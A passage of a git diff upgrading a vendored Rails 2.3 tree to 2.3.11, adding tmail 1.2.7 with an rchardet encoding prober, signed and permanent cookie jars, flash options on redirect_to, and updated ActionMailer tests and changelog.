"\xFF\xFE\x00\x00" + # FF FE 00 00 UTF-32, little-endian BOM + @result = {'encoding' => "UTF-32LE", 'confidence' => 1.0} + elsif aBuf[0...4] == "\x00\x00\xFE\xFF" + # 00 00 FE FF UTF-32, big-endian BOM + @result = {'encoding' => "UTF-32BE", 'confidence' => 1.0} + elsif aBuf[0...4] == "\xFE\xFF\x00\x00" + # FE FF 00 00 UCS-4, unusual octet order BOM (3412) + @result = {'encoding' => "X-ISO-10646-UCS-4-3412", 'confidence' => 1.0} + elsif aBuf[0...4] == "\x00\x00\xFF\xFE" + # 00 00 FF FE UCS-4, unusual octet order BOM (2143) + @result = {'encoding' => "X-ISO-10646-UCS-4-2143", 'confidence' => 1.0} + elsif aBuf[0...2] == "\xFF\xFE" + # FF FE UTF-16, little endian BOM + @result = {'encoding' => "UTF-16LE", 'confidence' => 1.0} + elsif aBuf[0...2] == "\xFE\xFF" + # FE FF UTF-16, big endian BOM + @result = {'encoding' => "UTF-16BE", 'confidence' => 1.0} + end + end + + @_mGotData = true + if @result['encoding'] and (@result['confidence'] > 0.0) + @done = true + return + end + + if @_mInputState == EPureAscii + if @_highBitDetector =~ (aBuf) + @_mInputState = EHighbyte + elsif (@_mInputState == EPureAscii) and @_escDetector =~ (@_mLastChar + aBuf) + @_mInputState = EEscAscii + end + end + + @_mLastChar = aBuf[-1..-1] + if @_mInputState == EEscAscii + if not @_mEscCharSetProber + @_mEscCharSetProber = EscCharSetProber.new() + end + if @_mEscCharSetProber.feed(aBuf) == EFoundIt + @result = {'encoding' => self._mEscCharSetProber.get_charset_name(), + 'confidence' => @_mEscCharSetProber.get_confidence() + } + @done = true + end + elsif @_mInputState == EHighbyte + if not @_mCharSetProbers or @_mCharSetProbers.empty? + @_mCharSetProbers = [MBCSGroupProber.new(), SBCSGroupProber.new(), Latin1Prober.new()] + end + for prober in @_mCharSetProbers + if prober.feed(aBuf) == EFoundIt + @result = {'encoding' => prober.get_charset_name(), + 'confidence' => prober.get_confidence()} + @done = true + break + end + end + end + + end + + def close + return if @done + if not @_mGotData + $stderr << "no data received!\n" if $debug + return + end + @done = true + + if @_mInputState == EPureAscii + @result = {'encoding' => 'ascii', 'confidence' => 1.0} + return @result + end + + if @_mInputState == EHighbyte + confidences = {} + @_mCharSetProbers.each{ |prober| confidences[prober] = prober.get_confidence } + maxProber = @_mCharSetProbers.max{ |a,b| confidences[a] <=> confidences[b] } + if maxProber and maxProber.get_confidence > MINIMUM_THRESHOLD + @result = {'encoding' => maxProber.get_charset_name(), + 'confidence' => maxProber.get_confidence()} + return @result + end + end + + if $debug + $stderr << "no probers hit minimum threshhold\n" if $debug + for prober in @_mCharSetProbers[0]._mProbers + next if not prober + $stderr << "#{prober.get_charset_name} confidence = #{prober.get_confidence}\n" if $debug + end + end + end + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/utf8prober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/utf8prober.rb new file mode 100755 index 00000000..269d8c55 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/utf8prober.rb @@ -0,0 +1,87 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + ONE_CHAR_PROB = 0.5 + + class UTF8Prober < CharSetProber + def initialize + super() + @_mCodingSM = CodingStateMachine.new(UTF8SMModel) + reset() + end + + def reset + super() + @_mCodingSM.reset() + @_mNumOfMBChar = 0 + end + + def get_charset_name + return "utf-8" + end + + def feed(aBuf) + aBuf.each_byte do |b| + c = b.chr + codingState = @_mCodingSM.next_state(c) + if codingState == EError + @_mState = ENotMe + break + elsif codingState == EItsMe + @_mState = EFoundIt + break + elsif codingState == EStart + if @_mCodingSM.get_current_charlen() >= 2 + @_mNumOfMBChar += 1 + end + end + end + + if get_state() == EDetecting + if get_confidence() > SHORTCUT_THRESHOLD + @_mState = EFoundIt + end + end + + return get_state() + end + + def get_confidence + unlike = 0.99 + if @_mNumOfMBChar < 6 + for i in (0...@_mNumOfMBChar) + unlike = unlike * ONE_CHAR_PROB + end + return 1.0 - unlike + else + return unlike + end + end + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/version.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/version.rb similarity index 98% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/version.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/version.rb index 95228497..2cafcd72 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/version.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/version.rb @@ -32,7 +32,7 @@ module TMail module VERSION MAJOR = 1 MINOR = 2 - TINY = 3 + TINY = 6 STRING = [MAJOR, MINOR, TINY].join('.') end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail.rb index 51d36cdd..9c44a126 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail.rb @@ -2,9 +2,9 @@ require 'rubygems' begin - gem 'tmail', '~> 1.2.3' + gem 'tmail', '~> 1.2.7' rescue Gem::LoadError - $:.unshift "#{File.dirname(__FILE__)}/tmail-1.2.3" + $:.unshift "#{File.dirname(__FILE__)}/tmail-1.2.7" end module TMail diff --git a/vendor/rails/actionmailer/lib/action_mailer/version.rb b/vendor/rails/actionmailer/lib/action_mailer/version.rb index a4289055..da9b986a 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/version.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/version.rb @@ -2,7 +2,7 @@ module ActionMailer module VERSION #:nodoc: MAJOR = 2 MINOR = 3 - TINY = 5 + TINY = 11 STRING = [MAJOR, MINOR, TINY].join('.') end diff --git a/vendor/rails/actionmailer/test/abstract_unit.rb b/vendor/rails/actionmailer/test/abstract_unit.rb index 9728ae5b..2cb862a3 100644 --- a/vendor/rails/actionmailer/test/abstract_unit.rb +++ b/vendor/rails/actionmailer/test/abstract_unit.rb @@ -1,9 +1,9 @@ require 'rubygems' require 'test/unit' -$:.unshift "#{File.dirname(__FILE__)}/../lib" -$:.unshift "#{File.dirname(__FILE__)}/../../activesupport/lib" -$:.unshift "#{File.dirname(__FILE__)}/../../actionpack/lib" +$:.unshift File.expand_path('../../lib', __FILE__) +$:.unshift File.expand_path('../../../activesupport/lib', __FILE__) +$:.unshift File.expand_path('../../../actionpack/lib', __FILE__) require 'action_mailer' require 'action_mailer/test_case' @@ -17,7 +17,7 @@ ActionView::Template.register_template_handler :bak, lambda { |template| "Lame b $:.unshift "#{File.dirname(__FILE__)}/fixtures/helpers" ActionView::Base.cache_template_loading = true -FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), 'fixtures') +FIXTURE_LOAD_PATH = File.expand_path(File.join(File.dirname(__FILE__), 'fixtures')) ActionMailer::Base.template_root = FIXTURE_LOAD_PATH class MockSMTP diff --git a/vendor/rails/actionmailer/test/fixtures/helpers/example_helper.rb b/vendor/rails/actionmailer/test/fixtures/helpers/example_helper.rb index f6a6a49c..4b6810bf 100644 --- a/vendor/rails/actionmailer/test/fixtures/helpers/example_helper.rb +++ b/vendor/rails/actionmailer/test/fixtures/helpers/example_helper.rb @@ -1,5 +1,5 @@ module ExampleHelper def example_format(text) - "#{h(text)}".html_safe! + "#{h(text)}".html_safe end end diff --git a/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.text.html.erb~ b/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.text.html.erb~ deleted file mode 100644 index 946d99ed..00000000 --- a/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.text.html.erb~ +++ /dev/null @@ -1,10 +0,0 @@ - - - HTML formatted message to <%= @recipient %>. - - - - - HTML formatted message to <%= @recipient %>. - - diff --git a/vendor/rails/actionmailer/test/mail_service_test.rb b/vendor/rails/actionmailer/test/mail_service_test.rb index db6d3df6..3b464df0 100644 --- a/vendor/rails/actionmailer/test/mail_service_test.rb +++ b/vendor/rails/actionmailer/test/mail_service_test.rb @@ -29,6 +29,18 @@ class TestMailer < ActionMailer::Base self.body = "Goodbye, Mr. #{recipient}" end + def from_with_name + from "System " + recipients "root@loudthinking.com" + body "Nothing to see here." + end + + def from_without_name + from "system@loudthinking.com" + recipients "root@loudthinking.com" + body "Nothing to see here." + end + def cc_bcc(recipient) recipients recipient subject "testing bcc/cc" @@ -454,6 +466,28 @@ class ActionMailerTest < Test::Unit::TestCase assert_equal expected.encoded, ActionMailer::Base.deliveries.first.encoded end + def test_from_without_name_for_smtp + ActionMailer::Base.delivery_method = :smtp + TestMailer.deliver_from_without_name + + mail = MockSMTP.deliveries.first + assert_not_nil mail + mail, from, to = mail + + assert_equal 'system@loudthinking.com', from.to_s + end + + def test_from_with_name_for_smtp + ActionMailer::Base.delivery_method = :smtp + TestMailer.deliver_from_with_name + + mail = MockSMTP.deliveries.first + assert_not_nil mail + mail, from, to = mail + + assert_equal 'system@loudthinking.com', from.to_s + end + def test_reply_to expected = new_mail @@ -700,8 +734,8 @@ EOF expected.date = Time.local 2004, 12, 12 created = TestMailer.create_utf8_body @recipient - assert_match(/\nFrom: =\?utf-8\?Q\?Foo_.*?\?= \r/, created.encoded) - assert_match(/\nTo: =\?utf-8\?Q\?Foo_.*?\?= , Example Recipient /, created.encoded) + assert_match(/To:\ =\?utf\-8\?Q\?Foo_=C3=A1=C3=AB=C3=B4_=C3=AE=C3=BC\?=\ /, created.encoded) end def test_receive_decodes_base64_encoded_mail @@ -827,6 +861,26 @@ EOF assert_equal "text/yaml", mail.parts[2].content_type end + def test_implicitly_path_when_running_from_none_rails_root + exected_path = File.expand_path(File.join(File.dirname(__FILE__), "fixtures", "test_mailer")) + with_a_rails_root do + Dir.chdir "/" do + template_path = TestMailer.allocate.send(:template_path) + assert_equal exected_path, File.expand_path(template_path) + end + end + end + + + def test_implicitly_multipart_messages_run_from_another_location_with_a_rails_root + with_a_rails_root do + Dir.chdir "/" do + mail = TestMailer.create_implicitly_multipart_example(@recipient) + assert_equal 3, mail.parts.length + end + end + end + def test_implicitly_multipart_messages_with_charset mail = TestMailer.create_implicitly_multipart_example(@recipient, 'iso-8859-1') @@ -975,6 +1029,16 @@ EOF ensure ActionMailer::Base.smtp_settings[:enable_starttls_auto] = true end + +private + def with_a_rails_root + old_root = ::RAILS_ROOT if defined? ::RAILS_ROOT + Object.const_set(:RAILS_ROOT, File.join(File.dirname(__FILE__))) + yield + ensure + Object.send(:remove_const, :RAILS_ROOT) if defined? ::RAILS_ROOT + Object.const_set(:RAILS_ROOT, old_root) if old_root + end end class InheritableTemplateRootTest < Test::Unit::TestCase diff --git a/vendor/rails/actionmailer/test/quoting_test.rb b/vendor/rails/actionmailer/test/quoting_test.rb index 2fee1379..b08f9279 100644 --- a/vendor/rails/actionmailer/test/quoting_test.rb +++ b/vendor/rails/actionmailer/test/quoting_test.rb @@ -23,9 +23,13 @@ class QuotingTest < Test::Unit::TestCase end def test_unqoute_multiple - a ="=?utf-8?q?Re=3A_=5B12=5D_=23137=3A_Inkonsistente_verwendung_von_=22Hin?==?utf-8?b?enVmw7xnZW4i?=" - b = TMail::Unquoter.unquote_and_convert_to(a, 'utf-8') - assert_equal "Re: [12] #137: Inkonsistente verwendung von \"Hinzuf\303\274gen\"", b + quoted ="=?utf-8?q?Re=3A_=5B12=5D_=23137=3A_Inkonsistente_verwendung_von_=22Hin?==?utf-8?b?enVmw7xnZW4i?=" + actual = TMail::Unquoter.unquote_and_convert_to(quoted, 'utf-8') + + expected = "Re: [12] #137: Inkonsistente verwendung von \"Hinzuf\303\274gen\"" + expected.force_encoding 'ASCII-8BIT' if expected.respond_to?(:force_encoding) + + assert_equal expected, actual end def test_unqoute_in_the_middle @@ -71,7 +75,9 @@ class QuotingTest < Test::Unit::TestCase def test_email_with_partially_quoted_subject mail = TMail::Mail.parse(IO.read("#{File.dirname(__FILE__)}/fixtures/raw_email_with_partially_quoted_subject")) - assert_equal "Re: Test: \"\346\274\242\345\255\227\" mid \"\346\274\242\345\255\227\" tail", mail.subject + expected = "Re: Test: \"\346\274\242\345\255\227\" mid \"\346\274\242\345\255\227\" tail" + expected.force_encoding('ASCII-8BIT') if expected.respond_to?(:force_encoding) + assert_equal expected, mail.subject end private diff --git a/vendor/rails/actionpack/CHANGELOG b/vendor/rails/actionpack/CHANGELOG index 3875bbe6..af6b0be2 100644 --- a/vendor/rails/actionpack/CHANGELOG +++ b/vendor/rails/actionpack/CHANGELOG @@ -1,3 +1,69 @@ +*2.3.11 (February 9, 2011)* + +* Two security fixes. CVE-2011-0446, CVE-2011-0447 + +*2.3.10 (October 15, 2010)* + +*2.3.9 (September 4, 2010)* + +* Version bump. + + +*2.3.8 (May 24, 2010)* + +* HTML safety: fix compatibility *without* the optional rails_xss plugin. + + +*2.3.7 (May 24, 2010)* + +* HTML safety: fix compatibility with the optional rails_xss plugin. [Nathan Weizenbaum, Santiago Pastorino] + + +*2.3.6 (May 23, 2010)* + +* JSON: set Base.include_root_in_json = true to include a root value in the JSON: {"post": {"title": ...}}. Mirrors the Active Record option. #2584 [Matthew Moore, Joe Martinez, Elad Meidar, Santiago Pastorino] + +* Ruby 1.9: ERB template encoding using a magic comment at the top of the file. [Jeremy Kemper] + <%# encoding: utf-8 %> + +* Fixed that default locale templates should be used if the current locale template is missing [DHH] + +* Fixed that PrototypeHelper#update_page should return html_safe [DHH] + +* Fixed that much of DateHelper wouldn't return html_safe? strings [DHH] + +* Fixed that fragment caching should return a cache hit as html_safe (or it would all just get escaped) [DHH] + +* Introduce String#html_safe for rails_xss plugin and forward-compatibility with Rails 3. [Michael Koziarski, Santiago Pastorino, José Ignacio Costa] + +* Added :alert, :notice, and :flash as options to ActionController::Base#redirect_to that'll automatically set the proper flash before the redirection [DHH]. Examples: + + flash[:notice] = 'Post was created' + redirect_to(@post) + + ...becomes: + + redirect_to(@post, :notice => 'Post was created') + +* Added ActionController::Base#notice/= and ActionController::Base#alert/= as a convenience accessors in both the controller and the view for flash[:notice]/= and flash[:alert]/= [DHH] + +* Added cookies.permanent, cookies.signed, and cookies.permanent.signed accessor for common cookie actions [DHH]. Examples: + + cookies.permanent[:prefers_open_id] = true + # => Set-Cookie: prefers_open_id=true; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT + + cookies.signed[:discount] = 45 + # => Set-Cookie: discount=BAhpMg==--2c1c6906c90a3bc4fd54a51ffb41dffa4bf6b5f7; path=/ + + cookies.signed[:discount] + # => 45 (if the cookie was changed, you'll get a InvalidSignature exception) + + cookies.permanent.signed[:remember_me] = current_user.id + # => Set-Cookie: discount=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT + + ...to use the signed cookies, you need to set a secret to ActionController::Base.cookie_verifier_secret (automatically done in config/initializers/cookie_verification_secret.rb for new Rails applications). + + *2.3.5 (November 25, 2009)* * Minor Bug Fixes and deprecation warnings diff --git a/vendor/rails/actionpack/MIT-LICENSE b/vendor/rails/actionpack/MIT-LICENSE index e7accc5e..a345a241 100644 --- a/vendor/rails/actionpack/MIT-LICENSE +++ b/vendor/rails/actionpack/MIT-LICENSE @@ -1,4 +1,4 @@ -Copyright (c) 2004-2009 David Heinemeier Hansson +Copyright (c) 2004-2010 David Heinemeier Hansson Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the diff --git a/vendor/rails/actionpack/README b/vendor/rails/actionpack/README index e4ce4aa0..1dff37e1 100644 --- a/vendor/rails/actionpack/README +++ b/vendor/rails/actionpack/README @@ -155,20 +155,20 @@ A short rundown of the major features: map.connect 'clients/:client_name/:project_name/:controller/:action' Accessing /clients/37signals/basecamp/project/dash calls ProjectController#dash with - { "client_name" => "37signals", "project_name" => "basecamp" } in params[:params] + { "client_name" => "37signals", "project_name" => "basecamp" }. - From that URL, you can rewrite the redirect in a number of ways: + From that URL you can redirect providing new parameters in a number of ways: - redirect_to(:action => "edit") => - /clients/37signals/basecamp/project/dash + redirect_to :action => "edit" + # /clients/37signals/basecamp/project/edit - redirect_to(:client_name => "nextangle", :project_name => "rails") => - /clients/nextangle/rails/project/dash + redirect_to :client_name => "nextangle", :project_name => "rails" + # /clients/nextangle/rails/project/dash {Learn more}[link:classes/ActionController/Base.html] -* Javascript and Ajax integration +* JavaScript and Ajax integration link_to_function "Greeting", "alert('Hello world!')" link_to_remote "Delete this post", :update => "posts", diff --git a/vendor/rails/actionpack/Rakefile b/vendor/rails/actionpack/Rakefile index 73f9efef..4c7c4b7b 100644 --- a/vendor/rails/actionpack/Rakefile +++ b/vendor/rails/actionpack/Rakefile @@ -79,8 +79,8 @@ spec = Gem::Specification.new do |s| s.has_rdoc = true s.requirements << 'none' - s.add_dependency('activesupport', '= 2.3.5' + PKG_BUILD) - s.add_dependency('rack', '~> 1.0.0') + s.add_dependency('activesupport', '= 2.3.11' + PKG_BUILD) + s.add_dependency('rack', '~> 1.1.0') s.require_path = 'lib' s.autorequire = 'action_controller' diff --git a/vendor/rails/actionpack/lib/action_controller.rb b/vendor/rails/actionpack/lib/action_controller.rb index 7072aad9..262faea6 100644 --- a/vendor/rails/actionpack/lib/action_controller.rb +++ b/vendor/rails/actionpack/lib/action_controller.rb @@ -1,5 +1,5 @@ #-- -# Copyright (c) 2004-2009 David Heinemeier Hansson +# Copyright (c) 2004-2010 David Heinemeier Hansson # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the @@ -31,7 +31,7 @@ rescue LoadError end end -gem 'rack', '~> 1.0.1' +gem 'rack', '~> 1.1.0' require 'rack' require 'action_controller/cgi_ext' diff --git a/vendor/rails/actionpack/lib/action_controller/assertions/response_assertions.rb b/vendor/rails/actionpack/lib/action_controller/assertions/response_assertions.rb index 931a0319..f29eefca 100644 --- a/vendor/rails/actionpack/lib/action_controller/assertions/response_assertions.rb +++ b/vendor/rails/actionpack/lib/action_controller/assertions/response_assertions.rb @@ -144,16 +144,25 @@ module ActionController end def normalize_argument_to_redirection(fragment) - after_routing = @controller.url_for(fragment) - if after_routing =~ %r{^\w+://.*} - after_routing - else - # FIXME - this should probably get removed. - if after_routing.first != '/' - after_routing = '/' + after_routing + case fragment + when %r{^\w[\w\d+.-]*:.*} + fragment + when String + if fragment =~ %r{^\w[\w\d+.-]*:.*} + fragment + else + if fragment !~ /^\// + ActiveSupport::Deprecation.warn "Omitting the leading slash on a path with assert_redirected_to is deprecated. Use '/#{fragment}' instead.", caller(2) + fragment = "/#{fragment}" + end + @request.protocol + @request.host_with_port + fragment end - @request.protocol + @request.host_with_port + after_routing - end + when :back + raise RedirectBackError unless refer = @request.headers["Referer"] + refer + else + @controller.url_for(fragment) + end.gsub(/[\r\n]/, '') end end end diff --git a/vendor/rails/actionpack/lib/action_controller/base.rb b/vendor/rails/actionpack/lib/action_controller/base.rb index d66e6662..41a8a64a 100644 --- a/vendor/rails/actionpack/lib/action_controller/base.rb +++ b/vendor/rails/actionpack/lib/action_controller/base.rb @@ -616,15 +616,6 @@ module ActionController #:nodoc: # displayed on: # # url_for :controller => 'posts', :action => nil - # - # If you explicitly want to create a URL that's almost the same as the current URL, you can do so using the - # :overwrite_params options. Say for your posts you have different views for showing and printing them. - # Then, in the show view, you get the URL for the print view like this - # - # url_for :overwrite_params => { :action => 'print' } - # - # This takes the current URL as is and only exchanges the action. In contrast, url_for :action => 'print' - # would have slashed-off the path components after the changed action. def url_for(options = {}) options ||= {} case options @@ -1092,13 +1083,24 @@ module ActionController #:nodoc: # The redirection happens as a "302 Moved" header unless otherwise specified. # # Examples: - # redirect_to post_url(@post), :status=>:found - # redirect_to :action=>'atom', :status=>:moved_permanently - # redirect_to post_url(@post), :status=>301 - # redirect_to :action=>'atom', :status=>302 + # redirect_to post_url(@post), :status => :found + # redirect_to :action=>'atom', :status => :moved_permanently + # redirect_to post_url(@post), :status => 301 + # redirect_to :action=>'atom', :status => 302 # - # When using redirect_to :back, if there is no referrer, - # RedirectBackError will be raised. You may specify some fallback + # The status code can either be a standard {HTTP Status code}[http://www.iana.org/assignments/http-status-codes] as an + # integer, or a symbol representing the downcased, underscored and symbolized description. + # + # It is also possible to assign a flash message as part of the redirection. There are two special accessors for commonly used the flash names + # +alert+ and +notice+ as well as a general purpose +flash+ bucket. + # + # Examples: + # redirect_to post_url(@post), :alert => "Watch it, mister!" + # redirect_to post_url(@post), :status=> :found, :notice => "Pay attention to the road" + # redirect_to post_url(@post), :status => 301, :flash => { :updated_post_id => @post.id } + # redirect_to { :action=>'atom' }, :alert => "Something serious happened" + # + # When using redirect_to :back, if there is no referrer, RedirectBackError will be raised. You may specify some fallback # behavior for this case by rescuing RedirectBackError. def redirect_to(options = {}, response_status = {}) #:doc: raise ActionControllerError.new("Cannot redirect to nil!") if options.nil? @@ -1412,7 +1414,7 @@ module ActionController #:nodoc: end Base.class_eval do - [ Filters, Layout, Benchmarking, Rescue, Flash, MimeResponds, Helpers, + [ Filters, Layout, Benchmarking, Rescue, MimeResponds, Helpers, Flash, Cookies, Caching, Verification, Streaming, SessionManagement, HttpAuthentication::Basic::ControllerMethods, HttpAuthentication::Digest::ControllerMethods, RecordIdentifier, RequestForgeryProtection, Translation diff --git a/vendor/rails/actionpack/lib/action_controller/caching/fragments.rb b/vendor/rails/actionpack/lib/action_controller/caching/fragments.rb index 95cba0e4..56ccc4ad 100644 --- a/vendor/rails/actionpack/lib/action_controller/caching/fragments.rb +++ b/vendor/rails/actionpack/lib/action_controller/caching/fragments.rb @@ -37,7 +37,7 @@ module ActionController #:nodoc: def fragment_for(buffer, name = {}, options = nil, &block) #:nodoc: if perform_caching if cache = read_fragment(name, options) - buffer.concat(cache) + buffer.safe_concat(cache.html_safe) else pos = buffer.length block.call @@ -52,9 +52,9 @@ module ActionController #:nodoc: def write_fragment(key, content, options = nil) return content unless cache_configured? - key = fragment_cache_key(key) - self.class.benchmark "Cached fragment miss: #{key}" do + key = fragment_cache_key(key) + content = content.html_safe.to_str if content.respond_to?(:html_safe) cache_store.write(key, content, options) end @@ -66,9 +66,9 @@ module ActionController #:nodoc: return unless cache_configured? key = fragment_cache_key(key) - self.class.benchmark "Cached fragment hit: #{key}" do - cache_store.read(key, options) + result = cache_store.read(key, options) + result.respond_to?(:html_safe) ? result.html_safe : result end end diff --git a/vendor/rails/actionpack/lib/action_controller/cookies.rb b/vendor/rails/actionpack/lib/action_controller/cookies.rb index c328db8b..9eab87b7 100644 --- a/vendor/rails/actionpack/lib/action_controller/cookies.rb +++ b/vendor/rails/actionpack/lib/action_controller/cookies.rb @@ -46,6 +46,7 @@ module ActionController #:nodoc: module Cookies def self.included(base) base.helper_method :cookies + base.cattr_accessor :cookie_verifier_secret end protected @@ -56,8 +57,10 @@ module ActionController #:nodoc: end class CookieJar < Hash #:nodoc: + attr_reader :controller + def initialize(controller) - @controller, @cookies = controller, controller.request.cookies + @controller, @cookies, @secure = controller, controller.request.cookies, controller.request.ssl? super() update(@cookies) end @@ -78,7 +81,7 @@ module ActionController #:nodoc: options[:path] = "/" unless options.has_key?(:path) super(key.to_s, options[:value]) - @controller.response.set_cookie(key, options) + @controller.response.set_cookie(key, options) if write_cookie?(options) end # Removes the cookie on the client machine by setting the value to an empty string @@ -91,5 +94,104 @@ module ActionController #:nodoc: @controller.response.delete_cookie(key, options) value end + + # Returns a jar that'll automatically set the assigned cookies to have an expiration date 20 years from now. Example: + # + # cookies.permanent[:prefers_open_id] = true + # # => Set-Cookie: prefers_open_id=true; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT + # + # This jar is only meant for writing. You'll read permanent cookies through the regular accessor. + # + # This jar allows chaining with the signed jar as well, so you can set permanent, signed cookies. Examples: + # + # cookies.permanent.signed[:remember_me] = current_user.id + # # => Set-Cookie: discount=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT + def permanent + @permanent ||= PermanentCookieJar.new(self) + end + + # Returns a jar that'll automatically generate a signed representation of cookie value and verify it when reading from + # the cookie again. This is useful for creating cookies with values that the user is not supposed to change. If a signed + # cookie was tampered with by the user (or a 3rd party), an ActiveSupport::MessageVerifier::InvalidSignature exception will + # be raised. + # + # This jar requires that you set a suitable secret for the verification on ActionController::Base.cookie_verifier_secret. + # + # Example: + # + # cookies.signed[:discount] = 45 + # # => Set-Cookie: discount=BAhpMg==--2c1c6906c90a3bc4fd54a51ffb41dffa4bf6b5f7; path=/ + # + # cookies.signed[:discount] # => 45 + def signed + @signed ||= SignedCookieJar.new(self) + end + + private + + def write_cookie?(cookie) + @secure || !cookie[:secure] || defined?(Rails.env) && Rails.env.development? + end + end + + class PermanentCookieJar < CookieJar #:nodoc: + def initialize(parent_jar) + @parent_jar = parent_jar + end + + def []=(key, options) + if options.is_a?(Hash) + options.symbolize_keys! + else + options = { :value => options } + end + + options[:expires] = 20.years.from_now + @parent_jar[key] = options + end + + def signed + @signed ||= SignedCookieJar.new(self) + end + + def controller + @parent_jar.controller + end + + def method_missing(method, *arguments, &block) + @parent_jar.send(method, *arguments, &block) + end + end + + class SignedCookieJar < CookieJar #:nodoc: + def initialize(parent_jar) + unless parent_jar.controller.class.cookie_verifier_secret + raise "You must set ActionController::Base.cookie_verifier_secret to use signed cookies" + end + + @parent_jar = parent_jar + @verifier = ActiveSupport::MessageVerifier.new(@parent_jar.controller.class.cookie_verifier_secret) + end + + def [](name) + if value = @parent_jar[name] + @verifier.verify(value) + end + end + + def []=(key, options) + if options.is_a?(Hash) + options.symbolize_keys! + options[:value] = @verifier.generate(options[:value]) + else + options = { :value => @verifier.generate(options) } + end + + @parent_jar[key] = options + end + + def method_missing(method, *arguments, &block) + @parent_jar.send(method, *arguments, &block) + end end end diff --git a/vendor/rails/actionpack/lib/action_controller/failsafe.rb b/vendor/rails/actionpack/lib/action_controller/failsafe.rb index 7f8aee82..42ec5702 100644 --- a/vendor/rails/actionpack/lib/action_controller/failsafe.rb +++ b/vendor/rails/actionpack/lib/action_controller/failsafe.rb @@ -73,6 +73,7 @@ module ActionController message = "/!\\ FAILSAFE /!\\ #{Time.now}\n Status: 500 Internal Server Error\n" message << " #{exception}\n #{exception.backtrace.join("\n ")}" if exception failsafe_logger.fatal(message) + failsafe_logger.flush if failsafe_logger.respond_to?(:flush) end def failsafe_logger diff --git a/vendor/rails/actionpack/lib/action_controller/flash.rb b/vendor/rails/actionpack/lib/action_controller/flash.rb index 93912073..e15d0d80 100644 --- a/vendor/rails/actionpack/lib/action_controller/flash.rb +++ b/vendor/rails/actionpack/lib/action_controller/flash.rb @@ -29,8 +29,13 @@ module ActionController #:nodoc: def self.included(base) base.class_eval do include InstanceMethods + alias_method_chain :perform_action, :flash alias_method_chain :reset_session, :flash + alias_method_chain :redirect_to, :flash + + helper_method :alert + helper_method :notice end end @@ -155,6 +160,22 @@ module ActionController #:nodoc: remove_instance_variable(:@_flash) if defined? @_flash end + def redirect_to_with_flash(options = {}, response_status_and_flash = {}) #:doc: + if alert = response_status_and_flash.delete(:alert) + flash[:alert] = alert + end + + if notice = response_status_and_flash.delete(:notice) + flash[:notice] = notice + end + + if other_flashes = response_status_and_flash.delete(:flash) + flash.update(other_flashes) + end + + redirect_to_without_flash(options, response_status_and_flash) + end + # Access the contents of the flash. Use flash["notice"] to # read a notice you put there or flash["notice"] = "hello" # to put a new one. @@ -166,6 +187,27 @@ module ActionController #:nodoc: @_flash end + + + # Convenience accessor for flash[:alert] + def alert + flash[:alert] + end + + # Convenience accessor for flash[:alert]= + def alert=(message) + flash[:alert] = message + end + + # Convenience accessor for flash[:notice] + def notice + flash[:notice] + end + + # Convenience accessor for flash[:notice]= + def notice=(message) + flash[:notice] = message + end end end end diff --git a/vendor/rails/actionpack/lib/action_controller/integration.rb b/vendor/rails/actionpack/lib/action_controller/integration.rb index b8c9b604..d9de6b8f 100644 --- a/vendor/rails/actionpack/lib/action_controller/integration.rb +++ b/vendor/rails/actionpack/lib/action_controller/integration.rb @@ -287,7 +287,6 @@ module ActionController "REMOTE_ADDR" => remote_addr, "CONTENT_TYPE" => "application/x-www-form-urlencoded", "CONTENT_LENGTH" => data ? data.length.to_s : nil, - "HTTP_COOKIE" => encode_cookies, "HTTP_ACCEPT" => accept, "rack.version" => [0,1], @@ -298,6 +297,8 @@ module ActionController "rack.run_once" => false ) + env['HTTP_COOKIE'] = encode_cookies if cookies.any? + (headers || {}).each do |key, value| 